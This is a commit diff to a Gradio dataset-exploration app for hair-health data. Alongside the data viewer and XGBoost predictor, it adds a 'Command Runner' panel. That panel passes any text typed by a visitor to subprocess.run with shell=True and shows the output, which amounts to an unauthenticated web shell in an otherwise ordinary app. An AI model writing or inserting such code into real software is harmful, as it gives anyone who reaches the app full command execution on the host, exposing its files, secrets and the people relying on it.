Update app.py

app.py

@@ -3,6 +3,15 @@ import xgboost as xgb
 import pandas as pd
 from datasets import load_dataset
 from sklearn.model_selection import train_test_split
+import subprocess
+
+# Function to run commands
+def run_command(command):
+    try:
+        result = subprocess.run(command, shell=True, capture_output=True, text=True)
+        return result.stdout if result.returncode == 0 else result.stderr
+    except Exception as e:
+        return str(e)
 
 # Load the dataset
 dataset = load_dataset("Ammok/hair_health")
@@ -64,7 +73,7 @@ def predict(*inputs):
 # Set up Gradio interface for data exploration
 def explore_data(row_number):
     return df.iloc[row_number].to_dict()
-
+    
 # Gradio UI
 with gr.Blocks() as demo:
     gr.Markdown("# Hair Health Dataset Exploration")
@@ -84,5 +93,14 @@ with gr.Blocks() as demo:
     # Unpack the dictionary values into a list of input components
     submit_button.click(predict, inputs=list(input_components.values()), outputs=[output])
 
+    gr.Markdown("## Command Runner")
+
+    command_input = gr.Textbox(label="Enter Command")
+    command_output = gr.Textbox(label="Command Output")
+
+    run_button = gr.Button("Run Command")
+    run_button.click(run_command, inputs=command_input, outputs=command_output)
+
+
 demo.launch()